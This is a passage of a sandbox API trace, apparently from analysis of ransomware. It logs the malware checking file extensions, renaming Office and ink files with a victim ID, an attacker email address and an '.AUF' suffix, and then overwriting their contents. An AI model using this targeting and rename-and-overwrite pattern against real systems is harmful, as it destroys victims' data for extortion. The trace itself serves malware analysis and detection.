Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.532] lstrlenW (lpString=".doc") returned 4 [0208.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString=".docx") returned 5 [0208.532] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0208.532] lstrlenW (lpString=".pdf") returned 4 [0208.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString=".xls") returned 4 [0208.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString=".xlsx") returned 5 [0208.532] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0208.532] lstrlenW (lpString=".ppt") returned 4 [0208.532] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.532] lstrlenW (lpString=".zip") returned 4 [0208.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.532] lstrlenW (lpString=".rar") returned 4 [0208.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString=".bz2") returned 4 [0208.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString=".7z") returned 3 [0208.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.532] lstrlenW (lpString=".dbf") returned 4 [0208.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".1cd") returned 4 [0208.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".jpg") returned 4 [0208.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".doc") returned 4 [0208.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString=".docx") returned 5 [0208.533] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0208.533] lstrlenW (lpString=".pdf") returned 4 [0208.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString=".xls") returned 4 [0208.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString=".xlsx") returned 5 [0208.533] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0208.533] lstrlenW (lpString=".ppt") returned 4 [0208.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".zip") returned 4 [0208.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.533] lstrlenW (lpString=".rar") returned 4 [0208.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString=".bz2") returned 4 [0208.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString=".7z") returned 3 [0208.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".dbf") returned 4 [0208.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".1cd") returned 4 [0208.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0208.533] lstrlenW (lpString=".jpg") returned 4 [0208.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.533] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0208.534] lstrlenW (lpString="oskpred.xml") returned 11 [0208.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.534] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=215) returned 1 [0208.534] CloseHandle (hObject=0x194) returned 1 [0208.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0208.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.534] lstrlenW (lpString=".doc") returned 4 [0208.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.534] lstrlenW (lpString=".docx") returned 5 [0208.534] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0208.534] lstrlenW (lpString=".pdf") returned 4 [0208.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.534] lstrlenW (lpString=".xls") returned 4 [0208.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".xlsx") returned 5 [0208.536] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0208.536] lstrlenW (lpString=".ppt") returned 4 [0208.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString=".zip") returned 4 [0208.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.536] lstrlenW (lpString=".rar") returned 4 [0208.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".bz2") returned 4 [0208.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".7z") returned 3 [0208.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString=".dbf") returned 4 [0208.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString=".1cd") returned 4 [0208.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString=".jpg") returned 4 [0208.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString=".doc") returned 4 [0208.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".docx") returned 5 [0208.536] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0208.536] lstrlenW (lpString=".pdf") returned 4 [0208.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".xls") returned 4 [0208.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".xlsx") returned 5 [0208.536] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0208.536] lstrlenW (lpString=".ppt") returned 4 [0208.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.536] lstrlenW (lpString=".zip") returned 4 [0208.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.536] lstrlenW (lpString=".rar") returned 4 [0208.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.536] lstrlenW (lpString=".bz2") returned 4 [0208.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.537] lstrlenW (lpString=".7z") returned 3 [0208.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.537] lstrlenW (lpString=".dbf") returned 4 [0208.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.537] lstrlenW (lpString=".1cd") returned 4 [0208.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0208.537] lstrlenW (lpString=".jpg") returned 4 [0208.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.537] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0208.537] lstrlenW (lpString="ea-sym.xml") returned 10 [0208.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.537] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=749) returned 1 [0208.537] CloseHandle (hObject=0x194) returned 1 [0208.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0208.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.537] lstrlenW (lpString=".doc") returned 4 [0208.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.537] lstrlenW (lpString=".docx") returned 5 [0208.537] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0208.537] lstrlenW (lpString=".pdf") returned 4 [0208.537] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.537] lstrlenW (lpString=".xls") returned 4 [0208.537] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".xlsx") returned 5 [0208.538] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0208.538] lstrlenW (lpString=".ppt") returned 4 [0208.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString=".zip") returned 4 [0208.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.538] lstrlenW (lpString=".rar") returned 4 [0208.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".bz2") returned 4 [0208.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".7z") returned 3 [0208.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString=".dbf") returned 4 [0208.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString=".1cd") returned 4 [0208.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString=".jpg") returned 4 [0208.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString=".doc") returned 4 [0208.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".docx") returned 5 [0208.538] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0208.538] lstrlenW (lpString=".pdf") returned 4 [0208.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".xls") returned 4 [0208.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".xlsx") returned 5 [0208.538] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0208.538] lstrlenW (lpString=".ppt") returned 4 [0208.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.538] lstrlenW (lpString=".zip") returned 4 [0208.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.538] lstrlenW (lpString=".rar") returned 4 [0208.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.538] lstrlenW (lpString=".bz2") returned 4 [0208.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.539] lstrlenW (lpString=".7z") returned 3 [0208.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.539] lstrlenW (lpString=".dbf") returned 4 [0208.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.539] lstrlenW (lpString=".1cd") returned 4 [0208.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0208.539] lstrlenW (lpString=".jpg") returned 4 [0208.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.539] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0208.539] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0208.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.539] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=749) returned 1 [0208.540] CloseHandle (hObject=0x194) returned 1 [0208.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0208.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0208.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0208.540] lstrlenW (lpString=".doc") returned 4 [0208.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.540] lstrlenW (lpString=".docx") returned 5 [0208.540] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0208.540] lstrlenW (lpString=".pdf") returned 4 [0208.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.540] lstrlenW (lpString=".xls") returned 4 [0208.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.540] lstrlenW (lpString=".xlsx") returned 5 [0208.540] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0208.540] lstrlenW (lpString=".ppt") returned 4 [0208.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0208.540] lstrlenW (lpString=".zip") returned 4 [0208.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.540] lstrlenW (lpString=".rar") returned 4 [0208.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.540] lstrlenW (lpString=".bz2") returned 4 [0208.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.540] lstrlenW (lpString=".7z") returned 3 [0208.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0208.540] lstrlenW (lpString=".dbf") returned 4 [0208.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0209.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0209.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0209.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0209.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0209.623] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc6c | out: lpNewFilePointer=0x0) returned 1 [0209.624] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc2c | out: lpNewFilePointer=0x0) returned 1 [0209.624] ReadFile (in: hFile=0x194, lpBuffer=0x3d40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d40058*, lpNumberOfBytesRead=0x321fc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.639] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x321fc2c | out: lpNewFilePointer=0x0) returned 1 [0209.639] ReadFile (in: hFile=0x194, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x321fc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.646] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x321fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0209.646] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x321fc2c | out: lpNewFilePointer=0x0) returned 1 [0209.647] ReadFile (in: hFile=0x194, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x321fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x321fc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.662] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x321fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0209.738] SetEndOfFile (hFile=0x194) returned 1 [0209.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fc7c | out: lpNewFilePointer=0x0) returned 1 [0209.741] WriteFile (in: hFile=0x194, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x321fc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.743] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x321fc7c | out: lpNewFilePointer=0x0) returned 1 [0209.743] WriteFile (in: hFile=0x194, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x321fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x321fc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.744] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x321fc7c | out: lpNewFilePointer=0x0) returned 1 [0209.744] WriteFile (in: hFile=0x194, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, 